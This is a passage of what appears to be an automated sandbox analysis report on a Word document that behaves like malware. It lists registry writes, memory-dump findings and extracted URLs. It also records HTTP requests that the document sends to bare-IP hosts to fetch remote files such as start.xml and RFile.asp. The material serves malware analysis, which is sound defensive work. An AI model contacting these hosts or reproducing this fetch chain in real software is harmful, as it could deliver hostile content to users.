"HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SIMSUN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SIMSUN-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SNAP ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "STENCIL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "STENCIL BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SWIS721 BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SYLFAEN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SYMBOL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TAHOMA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TEMPUS SANS ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TIMES NEW ROMAN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TRADITIONAL ARABIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TREBUCHET MS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TUNGA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TW CEN MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TW CEN MT CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TW CEN MT CONDENSED EXTRA BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "UTSAAH"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VANI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VERDANA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VIJAYA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VINER HAND ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VIVALDI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VLADIMIR SCRIPT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VRINDA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "WEBDINGS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "WIDE LATIN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "WINGDINGS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "WINGDINGS 2"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "WINGDINGS 3"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ BACDOO BOLD "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ BELLA MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ BLOCK MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ BONMOKGAK MEDIUM "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ BUTGOT LIGHT "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ CHMSOOT BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ DOOLGI MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ DWMMOOGJO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ GABI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ GOTGAE MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ INITIALPOSITIVE MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ INJANG MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ MAEHWA SEMIBOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ NANCHO MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ SHANALL MEDIUM "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ SOSEL SEMIBOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ TEUNTEUN BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ WADAG MEDIUM"; Value: "00000000")3d:T8e1,Found PE header "MZ" - Source: "00000000-00006432.00000000.75732.04B90000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000000.75732.747B0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000000.75732.AFF80000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000000.75732.B17C0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000000.75732.B34B0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000000.75732.BC6C0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000000.75732.BC890000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000000.75732.BC9C0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000000.75732.BDCF0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.04B90000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.746E0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.747B0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.AFF80000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.B17C0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.B34B0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.BC610000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.BC6C0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.BC890000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.BC9C0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.BDCF0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000001.77652.D32F0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000002.79572.04B90000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000002.79572.746E0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000002.79572.747B0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00006432.00000002.79572.AFF80000.00000002.mdmp")3e:T2134,Contains base64 string in header "C7/start" in header "GET /MSHTML_C7/start.xml HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /MSHTML_C7/start.xml HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /MSHTML_C7/start.xml HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET /MSHTML_C7/start.xml HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "NET4" in header "GET /MSHTML_C7/start.xml HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "InfoPath" in header "GET /MSHTML_C7/start.xml HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "Host" in header "GET /MSHTML_C7/start.xml HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /MSHTML_C7/start.xml HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "C7/RFile" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "http" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "//74" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "C7/start" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "Language" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "USUA" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "NET4" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "InfoPath" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "Host" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /MSHTML_C7/RFile.asp HTTP/1.1Accept: */*Referer: http://74.50.94.156/MSHTML_C7/start.xmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.50.94.156Connection: Keep-Alive"3f:T90b,Found reference to native API (Indicator: "RtlCaptureContext"; Source: "00000000-00006432.00000000.75732.747B1000.00000020.mdmp, 00000000-00006432.00000000.75732.BC821000.00000002.mdmp, 00000000-00006432.00000000.75732.BC9A0000.00000002.mdmp, 00000000-00006432.00000000.75732.BCB40000.00000002.mdmp, 00000000-00006432.00000000.75732.BDCF3000.00000002.mdmp, 00000000-00006432.00000001.77652.746E1000.00000020.mdmp, 00000000-00006432.00000001.77652.747B1000.00000020.mdmp, 00000000-00006432.00000001.77652.BC64A000.00000002.mdmp, 00000000-00006432.00000001.77652.BC821000.00000002.mdmp, 00000000-00006432.00000001.77652.BC9A0000.00000002.mdmp, 00000000-00006432.00000001.77652.BCB40000.00000002.mdmp, 00000000-00006432.00000001.77652.BDCF3000.00000002.mdmp, 00000000-00006432.00000001.77652.D3302000.00000002.mdmp, 00000000-00006432.00000002.79572.746E1000.00000020.mdmp, 00000000-00006432.00000002.79572.747B1000.00000020.mdmp, 00000000-00006432.00000002.79572.BC64A000.00000002.mdmp, 00000000-00006432.00000002.79572.BC821000.00000002.mdmp, 00000000-00006432.00000002.79572.BC9A0000.00000002.mdmp, 00000000-00006432.00000002.79572.BCB40000.00000002.mdmp, 00000000-00006432.00000002.79572.BDCF3000.00000002.mdmp, 00000000-00006432.00000002.79572.D3302000.00000002.mdmp, 00000000-00006432.00000002.79572.D3AE9000.00000002.mdmp") Found reference to native API (Indicator: "VerSetConditionMask"; Source: "00000000-00006432.00000000.75732.BCB40000.00000002.mdmp, 00000000-00006432.00000001.77652.BCB40000.00000002.mdmp, 00000000-00006432.00000002.79572.BCB40000.00000002.mdmp") Found reference to native API (Indicator: "RtlCaptureStackBackTrace"; Source: "00000000-00006432.00000000.75732.BCB40000.00000002.mdmp, 00000000-00006432.00000001.77652.BC64A000.00000002.mdmp, 00000000-00006432.00000001.77652.BCB40000.00000002.mdmp, 00000000-00006432.00000002.79572.BC64A000.00000002.mdmp, 00000000-00006432.00000002.79572.BCB40000.00000002.mdmp") Found reference to native API (Indicator: "RtlGetVersion"; Source: "00000000-00006432.00000001.77652.D3302000.00000002.mdmp, 00000000-00006432.00000002.79572.D3302000.00000002.mdmp") Found reference to native API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00006432.00000001.77652.D3302000.00000002.mdmp, 00000000-00006432.00000002.79572.D3302000.00000002.mdmp")40:T809,"Insert the data into the document" (Source: 00000000-00006432.00000000.75732.04B90000.00000002.mdmp, 00000000-00006432.00000001.77652.04B90000.00000002.mdmp, 00000000-00006432.00000002.79572.04B90000.00000002.mdmp, Indicator: "insert the data into the document") "Inserts a new object into your document.Inserts a new object into your document as an icon.Inserts the contents of the file into your document so that you can edit it later using the application which created the source file.Inserts an icon that represents the contents of the file into your document.Inserts the contents of the file into your document and creates a shortcut to the source file. Changes to the source file will be reflected in your document.Inserts an icon that represents the contents of the file into your document. Changes to the source file will be reflected in your document." (Source: 00000000-00006432.00000000.75732.04B90000.00000002.mdmp, 00000000-00006432.00000001.77652.04B90000.00000002.mdmp, 00000000-00006432.00000002.79572.04B90000.00000002.mdmp, Indicator: "inserts a new object into your document.inserts a new object into your document as an icon.inserts the contents of the file into your document so that you can edit it later using the application which created the source file.inserts an icon that represents the contents of the file into your document.inserts the contents of the file into your document and creates a shortcut to the source file. changes to the source file will be reflected in your document.inserts an icon that represents the contents of the file into your document. changes to the source file will be reflected in your document.") "Inserts the contents of the Clipboard into your document so that you can edit it using ." (Source: 00000000-00006432.00000000.75732.04B90000.00000002.mdmp, 00000000-00006432.00000001.77652.04B90000.00000002.mdmp, 00000000-00006432.00000002.79572.04B90000.00000002.mdmp, Indicator: "inserts the contents of the clipboard into your document so that you can edit it using .")41:T809,"Insert the data into the document" (Source: 00000000-00006432.00000000.75732.04B90000.00000002.mdmp, 00000000-00006432.00000001.77652.04B90000.00000002.mdmp, 00000000-00006432.00000002.79572.04B90000.00000002.mdmp, Indicator: "insert the data into the document") "Inserts a new object into your document.Inserts a new object into your document as an icon.Inserts the contents of the file into your document so that you can edit it later using the application which created the source file.Inserts an icon that represents the contents of the file into your document.Inserts the contents of the file into your document and creates a shortcut to the source file. Changes to the source file will be reflected in your document.Inserts an icon that represents the contents of the file into your document. Changes to the source file will be reflected in your document." (Source: 00000000-00006432.00000000.75732.04B90000.00000002.mdmp, 00000000-00006432.00000001.77652.04B90000.00000002.mdmp, 00000000-00006432.00000002.79572.04B90000.00000002.mdmp, Indicator: "inserts a new object into your document.inserts a new object into your document as an icon.inserts the contents of the file into your document so that you can edit it later using the application which created the source file.inserts an icon that represents the contents of the file into your document.inserts the contents of the file into your document and creates a shortcut to the source file. changes to the source file will be reflected in your document.inserts an icon that represents the contents of the file into your document. changes to the source file will be reflected in your document.") "Inserts the contents of the Clipboard into your document so that you can edit it using ." (Source: 00000000-00006432.00000000.75732.04B90000.00000002.mdmp, 00000000-00006432.00000001.77652.04B90000.00000002.mdmp, 00000000-00006432.00000002.79572.04B90000.00000002.mdmp, Indicator: "inserts the contents of the clipboard into your document so that you can edit it using .")42:T1200,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006432.00000000.75732.02D00000.00000004.mdmp") Found URL "http://104.234.239.26/04.234.239.26/104.234.239.26540392d00033d4e73c4d3d]t" - Source: "00000000-00006432.00000001.77652.02D00000.00000004.mdmp") Found URL "http://104.234.239.26/systemroot%\system32\imageres.dll,-112%systemroot%\system32\pnrpnsp.dll,-1000:\windows\system32\networkexplorer.dll:" - Source: "00000000-00006432.00000001.77652.02D00000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006432.00000001.77652.02D00000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006432.00000001.77652.D3302000.00000002.mdmp") Found URL "http://74.50.94.156/mshtml_c7/start.xml\windowsinetcacheam" - Source: "00000000-00006432.00000002.79572.02D00000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006432.00000002.79572.02D00000.00000004.mdmp") Found URL "http://www.w3.org/tr/wd-xsl" - Source: "00000000-00006432.00000002.79572.04990000.00000004.mdmp") Found URL "http://74.50.94.156/mshtml_c7/start.xmlhttp://74.50.94.156/mshtml_c7/start.xmlhtml:html>" - Source: "00000000-00006432.00000002.79572.D3302000.00000002.mdmp")43:T5be,"GET /MSHTML_C7/start.xml HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 74.50.94.156 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Content-Type: text/xml Last-Modified: Wed 05 Jul 2023 14:58:44 GMT Accept-Ranges: bytes ETag: "9714b13151afd91:0" Server: Microsoft-IIS/10.0 Date: Mon 10 Jul 2023 07:43:35 GMT Content-Length: 576 with response body ==>EFBBBF3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D227574662D38223F3E0D0A3C3F786D6C2D7374796C6573686565742074797065....... "GET /MSHTML_C7/RFile.asp HTTP/1.1 Accept: */* Referer: http://74.50.94.156/MSHTML_C7/start.xml Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 74.50.94.156 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Server: Microsoft-IIS/10.0 Set-Cookie: ASPSESSIONIDASTBDRTC=KJKHFKNBDJAPADJLFFAGCILN; path=/ Date: Mon 10 Jul 2023 07:44:03 GMT Content-Length: 300 with response body 